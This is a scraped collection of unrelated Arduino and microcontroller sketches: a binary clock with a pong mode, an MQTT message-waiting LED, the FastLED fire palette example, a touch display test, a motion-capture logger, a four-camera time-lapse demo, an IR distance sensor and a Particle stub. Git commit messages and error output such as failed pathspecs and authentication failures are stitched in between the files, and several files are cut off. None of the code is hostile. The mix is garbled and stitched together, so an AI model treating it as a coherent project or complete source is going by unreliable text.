				else if(curState == STATE_PONG)
				{
					curState = STATE_FULL_BINARY;
				}
			}
			else if(bSave & ~BUTTON_B)
			{
				if(curState <= STATE_PONG)
				{
					//Change PWM level
					pwmLevel--;
					if(pwmLevel <= 0 || pwmLevel > pwmMax)
						pwmLevel = pwmMax;

					EEPROM.write(0, pwmLevel);
				}
				else if(curState == STATE_MANUAL_SET)
				{
					incrementSetValue();
				}
			}
		}
		bCount = 0;
	}
	else if(state != bSave) {
		bCount = 0;
	}

	bSave = state;
}

//Use the same handler for both INT0 and INT1 interrupts
ISR(INT1_vect, ISR_ALIASOF(INT0_vect));

/*
Where the magic happens. All the multiplexing is done here.
We start by disabling all the "columns" which actually means turning them to high
since this is common ground.
If in serial set mode we do a larson scanner instead of show the time.
Otherwise set the states of each of the 4 LEDs in each row and then finally
re-enable the column for this pass through the loop.
It requires 8 passes (1 per column) through this to update the display once.
As this is called at 6400Hz, we update the display fully at 800Hz.
*/
volatile uint8_t col = 0, row = 0;
volatile uint8_t scan_low = 0, scan_high = 0;
#define SCAN_WIDTH 2
ISR(TIMER1_COMPA_vect)
{
	//Turn all columns off (High is off in this case since it's common cathode)
	PORTB |= (_BV(PINB0) | _BV(PINB1) | _BV(PINB2) | _BV(PINB3) | _BV(PINB4) | _BV(PINB5));
	PORTD |= (_BV(PIND6) | _BV(PIND7));

	if(curState == STATE_SERIAL_SET)
	{
		scan_low = _serialScan >= SCAN_WIDTH ? _serialScan - SCAN_WIDTH : 0;
		scan_high = _serialScan <= (31 - SCAN_WIDTH) ? _serialScan + SCAN_WIDTH : 31;
		byte _scanOffset = 0;
		byte _curStep = 0;

		//set the 4 rows
		for(row=0; row<4; row++)
		{
			_curStep = (row + (col * 4));

			if(_curStep < _serialScan) _scanOffset = (_serialScan - _curStep);
			else if(_curStep > _serialScan) _scanOffset = (_curStep - _serialScan);
			else _scanOffset = 0;

			if((_curStep >= scan_low && _curStep <= scan_high) &&
				(_serialScanStep < scanLevels[_scanOffset]))
				PORTC |= _BV(row);
			else
				PORTC &= ~_BV(row);
		}

		//Enable the current column
		if(col < 6)
			PORTB &= ~_BV(col);
		else
			PORTD &= ~_BV(col);
	}
	else
	{
		if(pwmStep < pwmLevel)
		{
			//set the 4 rows
			for(row=0; row<4; row++)
			{
				if(dispBuf & (1UL << (row + (col * 4))))
					PORTC |= _BV(row);
				else
					PORTC &= ~_BV(row);
			}

			//Enable the current column
			if(col < 6)
				PORTB &= ~_BV(col);
			else
				PORTD &= ~_BV(col);
		}
	}

	col++;
	if(col == 8)
	{
		col = 0;
		pwmStep++;
		if(pwmStep == pwmMax)
			pwmStep = 0;

		if(curState == STATE_SERIAL_SET)
		{
			_serialScanStep++;
			if(_serialScanStep == 10) _serialScanStep = 0;
		}
	}
}

//Helper for time delays without actually pausing execution
bool TimeElapsed(unsigned long ref, unsigned long wait)
{
	unsigned long now = millis();

	if(now < ref || ref == 0) //for the 50 day rollover or first boot
		return true;

	if((now - ref) > wait)
		return true;
	else
		return false;
}

/*
Get time from serial connection
Time data is just the letter 't' followed by 4 bytes
representing a unix epoch 32-bit time stamp.
The time is assumed to already be adjusted for local
time zone and DST by the sending computer as RTC does not
store time as UTC.
*/
bool getPCTimeSync()
{
	bool result = false;
	if(Serial.available() >= SYNC_LEN)
	{
		byte buf[5];
		memset(buf, 0, 5);
		Serial.readBytes((char *)buf, 5);
		if(buf[0] == SYNC_HEADER)
		{
			uint32_t t = 0;
			memcpy(&t, buf+1, 4);
			RTC->adjust(DateTime(t));
			Serial.write(42); //Writes out to confirm we got it (sends as a *)
			Serial.flush();
			result = true;
			while(Serial.available()) Serial.read(); //clear the bufer
			Serial.end();
			setResetDisable(false);
		}
		else if(buf[0] == GET_HEADER)
		{
			dt_now = RTC->now();
			uint32_t time = dt_now.unixtime();
			memset(buf, 0, 5);
			buf[0] = SYNC_HEADER;
			memcpy(buf+1, &time, 4);
			Serial.write(buf, 5);
			Serial.flush();
			result = true;
		}
	}

	return result;
}

inline void resetPongBall()
{
	randomSeed(millis());
	_pongBall = random(2) ? 15 : 16;
	_pongDir = _pongBall > 15;
	_pongPaddles = (1UL << 31) | (1UL << 0);
}

inline void randomPongPaddles()
{

	switch ( random(4) % 4)
	{
	case 0:
		_pongPaddles = 0;
		break;
	case 1:
		_pongPaddles = (1UL << 31);
		break;
	case 2:
		_pongPaddles = (1UL << 0);
		break;
	case 3:
		_pongPaddles = (1UL << 31) | (1UL << 0);
		break;
	}
}

/*
The main program state machine.
Most of the time this will just be updating the time every 500ms
(1000ms can cause noticable jumps if program execution takes longer than normal).
*/
void loop()
{

	if(curState == STATE_FULL_BINARY)
	{
		if(TimeElapsed(timeRef, 500))
		{
			timeRef = millis();
			dt_now = RTC->now();
			dispBuf = dt_now.unixtime();
		}
	}
	//many thanks to Josh Ward for this new clock "face" that's a little more readable
	//https://github.com/kredal/
	//Use the following "key" for reading in this mode: http://maniacallabs.com/misc/Binary_Clock_Key.png
	//Tapping A will now switch between the modes
	else if(curState == STATE_SUB_BINARY)
	{
		if(TimeElapsed(timeRef, 500))
		{
			timeRef = millis();
			dt_now = RTC->now();

			sbVals[0] = dt_now.second();
			sbVals[1] = dt_now.minute();
			sbVals[2] = dt_now.hour();
			sbVals[3] = dt_now.day();
			sbVals[4] = dt_now.month();
			sbVals[5] = dt_now.year() - 2000;

			int i = 0;
			for(int i=0; i<=5; i++)
			{
				for(sbCurBit=0; sbCurBit <= sbBits[i]; sbCurBit++)
				{
					if(sbVals[i]  & (1UL << sbCurBit))
						dispBuf |= (1UL << sbCurBit + sbOffsets[i]);
					else
						dispBuf &= ~(1UL << sbCurBit + sbOffsets[i]);
				}
			}
		}
	}
	else if(curState == STATE_PONG)
	{
		if(TimeElapsed(timeRef, _pongTimeout))
		{
			timeRef = millis();
			if(_pongShowScore)
			{
				_pongShowScore = false;
				_pongTimeout = PONG_TIMEOUT;
				if(_pongLScore >= 16 || _pongRScore >= 16)
				{
					_pongLScore = _pongRScore = 0;
				}
			}

			if(_pongDir)
			{
				if(_pongBall == 30)
				{
					if(_pongPaddles & (1UL << 31))
					{
						_pongDir = false;
						randomPongPaddles();
					}
					else
					{
						_pongRScore++;
						_pongShowScore = true;
						resetPongBall();
					}
				}
			}
			else
			{
				if(_pongBall == 1)
				{
					if(_pongPaddles & (1UL << 0))
					{
						_pongDir = true;
						randomPongPaddles();
					}
					else
					{
						_pongLScore++;
						_pongShowScore = true;
						resetPongBall();
					}
				}
			}

			_pongBall += _pongDir ? 1 : -1;

			if(_pongShowScore)
			{
				_pongTimeout = 1000;
				dispBuf = (((1UL << 32) - 1) - ((1UL << (32 - _pongLScore)) - 1)) + ((1UL << _pongRScore) - 1);
			}
			else
			{
				dispBuf = _pongPaddles | (1UL << _pongBall);
			}
		}
	}
	else if(curState == STATE_PAUSE)
	{
		if(TimeElapsed(timeOutRef, 600000))
		{
			curState = prevState;
		}
		else
		{
			if(TimeElapsed(timeRef, 50))
			{
				timeRef = millis();
				if(pwmLevel == pwmMax) fadeDir = false;
				else if(pwmLevel == 1) fadeDir = true;
				pwmLevel += (fadeDir ? 1 : -1);
			}
		}
	}
	else if(curState == STATE_MANUAL_SET)
	{
		if(timeReady)
		{
			adjustFromSetVal();
			curState = prevState;
		}
		else if(setChanged)
		{
			setChanged = false;
			uint32_t temp = 0;
			if(setValues[curSet])
				temp += ((1UL << setValues[curSet]) - 1);

			temp |= (1UL << (31 - curSet));
			dispBuf = temp;
		}
		else if(setCancel)
		{
			curState = prevState;
		}

	}
	else if(curState == STATE_SERIAL_SET)
	{
		if(TimeElapsed(timeOutRef, 30000))
		{
			Serial.end();
			setResetDisable(false);
			curState = prevState;
		}
		else
		{
			if(TimeElapsed(timeRef, 40))
			{
				timeRef = millis();
				if(_serialScan == 31) _serialScanDir = false;
				else if(_serialScan == 0) _serialScanDir = true;
				_serialScan += (_serialScanDir ? 1 : -1);
			}

			//check for serial data for time sync
			if(getPCTimeSync())
				curState = prevState;
		}
	}
}


Create ver3.ino

Create ver3.ino

Left Turn and Stop Fixed/PDFollower/updates/ver3.ino

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/Electroscholars/LineFollower.git/'


Initial version of message waiting indicator

Listens on MQTT topic for messages indicating if a message
is waiting or not.  If there is a message waiting blinks an
LED at a regular interval.

#include <ESP8266WiFi.h>
#include <PubSubClient.h>
#include <Wire.h>

// device specifics
#include "WirelessConfig.h"

#define BLINK_INTERVAL_SECONDS 1
#define LED_PIN D6
#define MESSAGE_WAITING_TOPIC "phone/messageWaiting"

IPAddress server(mqttServer[0], mqttServer[1],
                 mqttServer[2], mqttServer[3]);

WiFiClient wclient;
ESP8266WiFiGenericClass wifi;
PubSubClient client(wclient, server);

boolean messageWaiting;
boolean ledOn;

void callback(const MQTT::Publish& pub) {
  if(0 == strcmp(pub.payload_string().c_str(), "1")) {
    messageWaiting = true;
  } else {
    messageWaiting = false;
  }
}

void setup() {
  pinMode(LED_PIN, OUTPUT);
  digitalWrite(LED_PIN, LOW);
  messageWaiting = false;
  ledOn = false;

  Serial.begin(115200);
  Serial.println("starting");

  // turn of the Access Point as we are not using it
  wifi.mode(WIFI_STA);

  client.set_callback(callback);
}

void loop() {
  client.loop();

  // make sure we are good for wifi
  if (WiFi.status() != WL_CONNECTED) {
    Serial.print("Connecting to ");
    Serial.println(ssid);
    WiFi.begin(ssid, pass);

    if (WiFi.waitForConnectResult() != WL_CONNECTED) {
      return;
    }
    Serial.println("WiFi connected");
  }

  if (!client.connected()) {
    if (client.connect("sensclient")) {
      client.subscribe(MESSAGE_WAITING_TOPIC);
    }
  }

  if ((true == messageWaiting) && (false == ledOn)) {
    digitalWrite(LED_PIN, HIGH);
    ledOn = true;
  } else {
    digitalWrite(LED_PIN, LOW);
    ledOn = false;
  }

  delay(BLINK_INTERVAL_SECONDS * 1000);

}

error: pathspec 'MessageWaiingIndicator/MessageWaiingIndicator.ino' did not match any file(s) known to git


Asservissement moteur: update caracterisationVitessePWM

error: pathspec 'Module' did not match any file(s) known to git
error: pathspec 'Moteur/Software/Asservissement/CaracterisationVitessePWM/CaracterisationVitessePWM.ino' did not match any file(s) known to git


Delete Arduino-DHT22-MySQL-Node.ino

Delete Arduino-DHT22-MySQL-Node.ino

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/lafontas/Smart-Home.git/'


Adding Fire2012WithPalette example

Adding Fire2012WithPalette example

#include <FastLED.h>

#define LED_PIN     5
#define COLOR_ORDER GRB
#define CHIPSET     WS2811
#define NUM_LEDS    30

#define BRIGHTNESS  200
#define FRAMES_PER_SECOND 60

CRGB leds[NUM_LEDS];

// Fire2012 with programmable Color Palette
//
// This code is the same fire simulation as the original "Fire2012",
// but each heat cell's temperature is translated to color through a FastLED
// programmable color palette, instead of through the "HeatColor(...)" function.
//
// Four different static color palettes are provided here, plus one dynamic one.
//
// The three static ones are:
//   1. the FastLED built-in HeatColors_p -- this is the default, and it looks
//      pretty much exactly like the original Fire2012.
//
//  To use any of the other palettes below, just "uncomment" the corresponding code.
//
//   2. a gradient from black to red to yellow to white, which is
//      visually similar to the HeatColors_p, and helps to illustrate
//      what the 'heat colors' palette is actually doing,
//   3. a similar gradient, but in blue colors rather than red ones,
//      i.e. from black to blue to aqua to white, which results in
//      an "icy blue" fire effect,
//   4. a simplified three-step gradient, from black to red to white, just to show
//      that these gradients need not have four components; two or
//      three are possible, too, even if they don't look quite as nice for fire.
//
// The dynamic palette shows how you can change the basic 'hue' of the
// color palette every time through the loop, producing "rainbow fire".

CRGBPalette16 gPal;

void setup() {
  delay(3000); // sanity delay
  FastLED.addLeds<CHIPSET, LED_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection( TypicalLEDStrip );
  FastLED.setBrightness( BRIGHTNESS );

  // This first palette is the basic 'black body radiation' colors,
  // which run from black to red to bright yellow to white.
  gPal = HeatColors_p;

  // These are other ways to set up the color palette for the 'fire'.
  // First, a gradient from black to red to yellow to white -- similar to HeatColors_p
  //   gPal = CRGBPalette16( CRGB::Black, CRGB::Red, CRGB::Yellow, CRGB::White);

  // Second, this palette is like the heat colors, but blue/aqua instead of red/yellow
  //   gPal = CRGBPalette16( CRGB::Black, CRGB::Blue, CRGB::Aqua,  CRGB::White);

  // Third, here's a simpler, three-step gradient, from black to red to white
  //   gPal = CRGBPalette16( CRGB::Black, CRGB::Red, CRGB::White);

}

void loop()
{
  // Add entropy to random number generator; we use a lot of it.
  random16_add_entropy( random());

  // Fourth, the most sophisticated: this one sets up a new palette every
  // time through the loop, based on a hue that changes every time.
  // The palette is a gradient from black, to a dark color based on the hue,
  // to a light color based on the hue, to white.
  //
  //   static uint8_t hue = 0;
  //   hue++;
  //   CRGB darkcolor  = CHSV(hue,255,192); // pure hue, three-quarters brightness
  //   CRGB lightcolor = CHSV(hue,128,255); // half 'whitened', full brightness
  //   gPal = CRGBPalette16( CRGB::Black, darkcolor, lightcolor, CRGB::White);

  Fire2012WithPalette(); // run simulation frame, using palette colors

  FastLED.show(); // display this frame
  FastLED.delay(1000 / FRAMES_PER_SECOND);
}

// Fire2012 by Mark Kriegsman, July 2012
// as part of "Five Elements" shown here: http://youtu.be/knWiGsmgycY
////
// This basic one-dimensional 'fire' simulation works roughly as follows:
// There's a underlying array of 'heat' cells, that model the temperature
// at each point along the line.  Every cycle through the simulation,
// four steps are performed:
//  1) All cells cool down a little bit, losing heat to the air
//  2) The heat from each cell drifts 'up' and diffuses a little
//  3) Sometimes randomly new 'sparks' of heat are added at the bottom
//  4) The heat from each cell is rendered as a color into the leds array
//     The heat-to-color mapping uses a black-body radiation approximation.
//
// Temperature is in arbitrary units from 0 (cold black) to 255 (white hot).
//
// This simulation scales it self a bit depending on NUM_LEDS; it should look
// "OK" on anywhere from 20 to 100 LEDs without too much tweaking.
//
// I recommend running this simulation at anywhere from 30-100 frames per second,
// meaning an interframe delay of about 10-35 milliseconds.
//
// Looks best on a high-density LED setup (60+ pixels/meter).
//
//
// There are two main parameters you can play with to control the look and
// feel of your fire: COOLING (used in step 1 above), and SPARKING (used
// in step 3 above).
//
// COOLING: How much does the air cool as it rises?
// Less cooling = taller flames.  More cooling = shorter flames.
// Default 55, suggested range 20-100
#define COOLING  55

// SPARKING: What chance (out of 255) is there that a new spark will be lit?
// Higher chance = more roaring fire.  Lower chance = more flickery fire.
// Default 120, suggested range 50-200.
#define SPARKING 120

void Fire2012WithPalette()
{
// Array of temperature readings at each simulation cell
  static byte heat[NUM_LEDS];

  // Step 1.  Cool down every cell a little
    for( int i = 0; i < NUM_LEDS; i++) {
      heat[i] = qsub8( heat[i],  random8(0, ((COOLING * 10) / NUM_LEDS) + 2));
    }

    // Step 2.  Heat from each cell drifts 'up' and diffuses a little
    for( int k= NUM_LEDS - 3; k > 0; k--) {
      heat[k] = (heat[k - 1] + heat[k - 2] + heat[k - 2] ) / 3;
    }

    // Step 3.  Randomly ignite new 'sparks' of heat near the bottom
    if( random8() < SPARKING ) {
      int y = random8(7);
      heat[y] = qadd8( heat[y], random8(160,255) );
    }

    // Step 4.  Map from heat cells to LED colors
    for( int j = 0; j < NUM_LEDS; j++) {
      // Scale the heat value from 0-255 down to 0-240
      // for best results with color palettes.
      byte colorindex = scale8( heat[j], 240);
      leds[j] = ColorFromPalette( gPal, colorindex);
    }
}

error: pathspec 'examples/Fire2012WithPalette/Fire2012WithPalette.ino' did not match any file(s) known to git


Adding Arduino code for basic HTTP Authentication --- at line 80

error: pathspec 'Devices/Generic' did not match any file(s) known to git
error: pathspec 'HTTP' did not match any file(s) known to git
error: pathspec 'Device/ArduinoSample.ino' did not match any file(s) known to git


Display with touch working

Display with touch working

#define DisplaySerial Serial
#define RESETLINE 4

#include "Picaso_Serial_4DLib.h"

#include "Picaso_Const4D.h"

Picaso_Serial_4DLib Display(&DisplaySerial);

void setup()
{

  pinMode(13,OUTPUT);
  pinMode(RESETLINE, OUTPUT);  // Set D4 on Arduino to Output (4D Arduino Adaptor V2 - Display Reset)
  digitalWrite(RESETLINE, 1);  // Reset the Display via D4
  delay(100);
  digitalWrite(RESETLINE, 0);  // unReset the Display via D4
  delay(5000);
  DisplaySerial.begin(9600) ;
  Display.TimeLimit4D   = 5000 ; // 5 second timeout on all commands
  Display.gfx_Cls() ;
  Display.gfx_ScreenMode(LANDSCAPE) ;
  Display.putstr("Lunakhod loading...") ;
//  Serial.begin(9600);
}

int x;
int y;
char cstr[20] ;
String str;
void loop()
{
  Display.touch_Set(TOUCH_ENABLE) ;
 // Display.touch_DetectRegion(100,100, 200, 200) ;
  Display.touch_Set(TOUCH_REGIONDEFAULT) ;
 // Display.gfx_RectangleFilled(100,100, 200, 200, BLUE) ;
   //-------------Draw some buttons-------------------------
//  Display.gfx_RectangleFilled(0,0,19,19,RED);           //
//  Display.gfx_RectangleFilled(20,0,39,19,ORANGE);       //
//  Display.gfx_RectangleFilled(40,0,59,19,YELLOW);       //
//  Display.gfx_RectangleFilled(60,0,79,19,GREEN);        //
//  Display.gfx_RectangleFilled(80,0,99,19,BLUE);         //
//  Display.gfx_RectangleFilled(100,0,119,19,INDIGO);     //
//  Display.gfx_RectangleFilled(120,0,139,19,PINK);       //
//  Display.gfx_RectangleFilled(140,0,159,19,BROWN);      //
//  Display.gfx_RectangleFilled(180,0,199,19,BLACK);      //
//  Display.gfx_RectangleFilled(200,0,219,19,WHITE);      //
//  Display.gfx_RectangleFilled(220,0,239,19,BLUE);    // display area for current color selection
//  Display.gfx_Rectangle(260,0,279,19,RED);              //
  //Display.gfx_Button(OFF,290,0,WHITE,RED,1,1,1,"Clear");   // I wish I how to use these buttons
  //-------------------------------------------------------

  do {} while (Display.touch_Get(TOUCH_STATUS) != TOUCH_PRESSED);
  x = Display.touch_Get(TOUCH_GETX);                          // so we can get the first point
  y = Display.touch_Get(TOUCH_GETY);
  Display.txt_MoveCursor(1,0);
  printint(x);
  Display.txt_MoveCursor(2,0);
  printint(y);
//  Display.putstr(cstr) ;
//  Display.println(cstr) ;
//  Serial.print("X=");
//  Serial.print(x);
//  Serial.print("; Y=");
//  Serial.println(y);
  Display.touch_Set(TOUCH_REGIONDEFAULT) ;
}
void printint(int val)
{
  str = String(val);
  str.toCharArray(cstr,16);

  Display.putstr(cstr) ;
}

error: pathspec '_4DSystemDispalyBare/_4DSystemDispalyBare.ino' did not match any file(s) known to git


motion capture output to USB

motion capture output to USB

#include <ahrs.h>
#include <Wire.h>
#include <I2Cdev.h>
#include <LSM9DS0.h>

LSM9DS0 sen;
boolean connection=false;
unsigned long time=0;

void setup() {
  Serial.begin(115200);
  while (!Serial)
    ; // wait until somebody is there

  sen.initialize();
  connection = sen.testConnection();
  Serial.println(  connection  ? "OK" : "FAILED");

  sen.setGyroFullScale(2000);
  sen.setGyroOutputDataRate(LSM9DS0_RATE_95);
  sen.setGyroBandwidthCutOffMode(LSM9DS0_BW_HIGH);
  sen.setGyroDataFilter(LSM9DS0_LOW_PASS);
  sen.setFIFOEnabled(false);

  sen.setAccRate(LSM9DS0_ACC_RATE_100);
  sen.setAccFullScale(LSM9DS0_ACC_2G);
  sen.setAccAntiAliasFilterBandwidth(LSM9DS0_ACC_FILTER_BW_362);

  sen.setMagFullScale(LSM9DS0_MAG_2_GAUSS);
  sen.setMagOutputRate(LSM9DS0_M_ODR_50);
}

#define p(x) Serial.print(x)

void loop() {
  if (!connection)
    return;

   time = micros();
   measurement_t m = sen.getMeasurement();
   time = micros() - time;

   orientation_t *o =
       AHRSupdate(m.gx, m.gy, m.gz,
                  m.ax, m.ay, m.az,
                  m.mx, m.my, m.mz,
                  time/1e6);

   if (isnan(o->q0)) { // let's reset
     o->q0 = 1;
     o->q1 = o->q2 = o->q3 = 0;
     o->exInt = o->eyInt = o->ezInt = 0;

//     p(m.gx);p("\t");p(m.gy);p("\t");p(m.gz);p("\t");
//     p(m.ax);p("\t");p(m.ay);p("\t");p(m.az);p("\t");
//     p(m.mx);p("\t");p(m.my);p("\t");p(m.mz);p("\n");

     return;
   }

   p(o->q0); p("\t");
   p(o->q1); p("\t");
   p(o->q2); p("\t");
   p(o->q3); p("\n");
}

error: pathspec 'mocap_usbtext/mocap_usbtext.ino' did not match any file(s) known to git


TiltSensor

TiltSensor

Added debouncing code

error: pathspec 'Sensor' did not match any file(s) known to git
error: pathspec 'Modules/Tilt' did not match any file(s) known to git
error: pathspec 'Sensor/TiltSensorATtiny/TiltSensorATtiny.ino' did not match any file(s) known to git


add print to check node address

add print to check node address

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/Hinaka/-FPT-CAPSTONE-PGSS.git/'


baud unsetting code

baud unsetting code

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/Denzo77/OTRadioLink.git/'


Add 4 camera time elapse demo

Add 4 camera time elapse demo

// ArduCAM demo (C)2015 Lee
// web: http://www.ArduCAM.com
// This program is a demo of how to use most of the functions
// of the library with a supported camera modules, and can run on any Arduino platform.
//
// This demo was made for ArduCAM Mini 2MP camera module.
// It will run 4 ArduCAM Mini 2MP moduels and take time elapse images every 5 seconds.
// The demo sketch will do the following tasks:
// 1. Set the sensor to JPEG mode.
// 2. Capture 4 image from 4 cameras simultaneously and buffer the image to FIFO every 5 seconds
// 3. Store the image to Micro SD/TF card with JPEG format in sequential.
// 4. Resolution can be changed by myCAM.set_JPEG_size() function.
// This program requires the ArduCAM V3.4.0 (or later) library and ArduCAM Mini 2MP shield
// and use Arduino IDE 1.5.2 compiler or above
#include <Wire.h>
#include <ArduCAM.h>
#include <SPI.h>
#include <SD.h>///////////
#include "memorysaver.h"
/////////////////////////////////
#define SD_CS 9
#if defined(__arm__)
#include <itoa.h>
#endif
/////////////////////////////////
const int CS1 = 4;
const int CS2 = 5;
const int CS3 = 6;
const int CS4 = 7;
bool cam1 = true, cam2 = true, cam3 = true, cam4 = true;

/////////////////////////////////
ArduCAM myCAM1(OV2640, CS1);
ArduCAM myCAM2(OV2640, CS2);
ArduCAM myCAM3(OV2640, CS3);
ArduCAM myCAM4(OV2640, CS4);

void setup() {
  // put your setup code here, to run once:
  uint8_t vid, pid;
  uint8_t temp;
#if defined (__AVR__)
  Wire.begin();
#endif
#if defined(__arm__)
  Wire1.begin();
#endif
  Serial.begin(115200);
  Serial.println("ArduCAM Start!");

  // set the SPI_CS as an output:
  pinMode(CS1, OUTPUT);
  pinMode(CS2, OUTPUT);
  pinMode(CS3, OUTPUT);
  pinMode(CS4, OUTPUT);

  // initialize SPI:
  SPI.begin();
  //Check if the ArduCAM SPI bus is OK
  myCAM1.write_reg(ARDUCHIP_TEST1, 0x55);
  temp = myCAM1.read_reg(ARDUCHIP_TEST1);
  if (temp != 0x55)
  {
    Serial.println("SPI1 interface Error!");
    cam1 = false;
    //while(1);
  }

  myCAM2.write_reg(ARDUCHIP_TEST1, 0x55);
  temp = myCAM2.read_reg(ARDUCHIP_TEST1);
  //Serial.println(temp);
  if (temp != 0x55)
  {
    Serial.println("SPI2 interface Error!");
    cam2 = false;
    //while(1);
  }

  myCAM3.write_reg(ARDUCHIP_TEST1, 0x55);
  temp = myCAM3.read_reg(ARDUCHIP_TEST1);
  //Serial.println(temp);
  if (temp != 0x55)
  {
    Serial.println("SPI3 interface Error!");
    cam3 = false;
    //while(1);
  }

  myCAM4.write_reg(ARDUCHIP_TEST1, 0x55);
  temp = myCAM4.read_reg(ARDUCHIP_TEST1);
  //Serial.println(temp);
  if (temp != 0x55)
  {
    Serial.println("SPI4 interface Error!");
    cam4 = false;
    //while(1);
  }

  //Check if the camera module type is OV2640
  myCAM1.rdSensorReg8_8(OV2640_CHIPID_HIGH, &vid);
  myCAM1.rdSensorReg8_8(OV2640_CHIPID_LOW, &pid);

  if ((vid != 0x26) || (pid != 0x42))
    Serial.println("Can't find OV2640 module!");
  else
    Serial.println("OV2640 detected");

  //Change to JPEG capture mode and initialize the OV2640 module
  myCAM1.set_format(JPEG);
  myCAM1.InitCAM();
  myCAM1.OV2640_set_JPEG_size(OV2640_1600x1200);
  myCAM1.clear_fifo_flag();
  myCAM1.write_reg(ARDUCHIP_FRAMES, 0x00);
  ////////////////////////////////////////////////////
  if (!SD.begin(SD_CS))
  {
    //while (1);		//If failed, stop here
    Serial.println("SD Card Error");
  }
  else
    Serial.println("SD Card detected!");
  ////////////////////////////////////////////////////
}

void loop() {
  // put your main code here, to run repeatedly:
  uint8_t temp, temp_last;
  uint8_t start_capture = 0;

  delay(5000);

  myCAM1.flush_fifo();
  myCAM2.flush_fifo();
  myCAM3.flush_fifo();
  myCAM4.flush_fifo();
  //Clear the capture done flag
  myCAM1.clear_fifo_flag();
  //Start capture
  myCAM1.start_capture();
  //Clear the capture done flag
  myCAM2.clear_fifo_flag();
  //Start capture
  myCAM2.start_capture();
  //Clear the capture done flag
  myCAM3.clear_fifo_flag();
  //Start capture
  myCAM3.start_capture();
  //Clear the capture done flag
  myCAM4.clear_fifo_flag();
  //Start capture
  myCAM4.start_capture();

  while (!myCAM1.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK) && cam1);
  if (cam1 == true)
  {
    Serial.println("CAM1 Capture Done!");
    read_fifo_burst(myCAM1);
    //Clear the capture done flag
    myCAM1.clear_fifo_flag();
  }

  while (!myCAM2.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK) && cam2);
  if (cam2 == true)
  {
    Serial.println("CAM2 Capture Done!");
    read_fifo_burst(myCAM2);
    //Clear the capture done flag
    myCAM2.clear_fifo_flag();
  }

  while (!myCAM3.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK) && cam3);
  if (cam3 == true)
  {
    Serial.println("CAM3 Capture Done!");
    read_fifo_burst(myCAM3);
    //Clear the capture done flag
    myCAM3.clear_fifo_flag();
  }

  while (!myCAM4.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK) && cam4);
  if (cam4 == true)
  {
    Serial.println("CAM4 Capture Done!");
    read_fifo_burst(myCAM4);
    //Clear the capture done flag
    myCAM4.clear_fifo_flag();
  }
}

uint8_t read_fifo_burst(ArduCAM myCAM)
{
  uint8_t temp, temp_last;
  uint32_t length = 0;
  //////////////////////////////////////////
  char str[8];
  File outFile;
  byte buf[256];
  static int k = 0;
  static int i = 0;
  //////////////////////////////////////////
  ////////////////////////////////////////////////////
  //Construct a file name
  k = k + 1;
  itoa(k, str, 10);
  strcat(str, ".jpg");
  //Open the new file
  outFile = SD.open(str, O_WRITE | O_CREAT | O_TRUNC);
  if (! outFile)
  {
    Serial.println("open file failed");
    //return;
  }

  //////////////////////////////////////////////////
  length = myCAM.read_fifo_length();
  if (length >= 393216) //384 kb
  {
    Serial.println("Not found the end.");
    return 0;
  }
  //Serial.println(length);
  i = 0;
  myCAM.CS_LOW();
  myCAM.set_fifo_burst();
  SPI.transfer(0x00);//First byte is 0xC0 ,not 0xff

  ////////////////////////////////////////////////////////
  while ( (temp != 0xD9) | (temp_last != 0xFF))
  {
    temp_last = temp;
    temp = SPI.transfer(0x00);

    //Write image data to buffer if not full
    if (i < 256)
      buf[i++] = temp;
    else
    {
      //Write 256 bytes image data to file
      myCAM.CS_HIGH();
      outFile.write(buf, 256);
      i = 0;
      buf[i++] = temp;
      myCAM.CS_LOW();
      myCAM.set_fifo_burst();
    }
  }
  //Write the remain bytes in the buffer
  if (i > 0)
  {
    myCAM.CS_HIGH();
    outFile.write(buf, i);
  }
  //Close the file
  outFile.close();
  ///////////////////////////////////////////////////////
}

error: pathspec 'ArduCAM/examples/mini/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD.ino' did not match any file(s) known to git


Avancement capteur IR

Avancement capteur IR

/***************** Capteur IR DETECTION POSITION ***********************
 *
 * Ce programme permet d'informer la carte maitre
 * si il y a présence ou non d'un obstacle, ici d'un
 * cylindre et de déterminer sa position.
 *
 ************************************************************/
//____________________________________________________________________________________________________
// I2C
#include <Wire.h>
#include "i2cCommunication.h"

//____________________________________________________________________________________________________
// I2C

#define _RECEIVEADRESS_ 10
#define _SENDADRESS_ 11

#include <math.h>

int pin_capteur = A0;                   //
int pin_LED = 13;                       // LED branchée a la pin 13
int c;
float d;

void setup() {
  pinMode(pin_LED,OUTPUT);
  Serial.begin(9600);
}

void loop() {
  Serial.println(analogRead(pin_capteur));

    Serial.println("Present alors stop");
    digitalWrite(pin_LED, HIGH);       // présence donc la led s'allume
    c=analogRead(pin_capteur);
    d=exp((c-740)/-198);
    Serial.println("Distance : ");
    Serial.print(d);
    Serial.print("cm");
    Serial.println("");

  delay(50);
}

error: pathspec 'Pince/Capteur_IR_detection_position/Capteur_IR_detection_position/Capteur_IR_detection_position.ino' did not match any file(s) known to git


Create tinker-x045-solarxbike.ino

Create tinker-x045-solarxbike.ino

Particle kod för alfa tester

PRODUCT_ID(1180);
PRODUCT_VERSION(1);
/* Function prototypes -------------------------------------------------------*/
int tinkerDigitalRead(String pin);
int tinkerDigitalWrite(String command);
int tinkerAnalogRead(String pin);
int tinkerAnalogWrite(String command);

/* This function is called once at start up ----------------------------------*/
void setup()
{
	//Setup the Tinker application here

	//Register all the Tinker functions
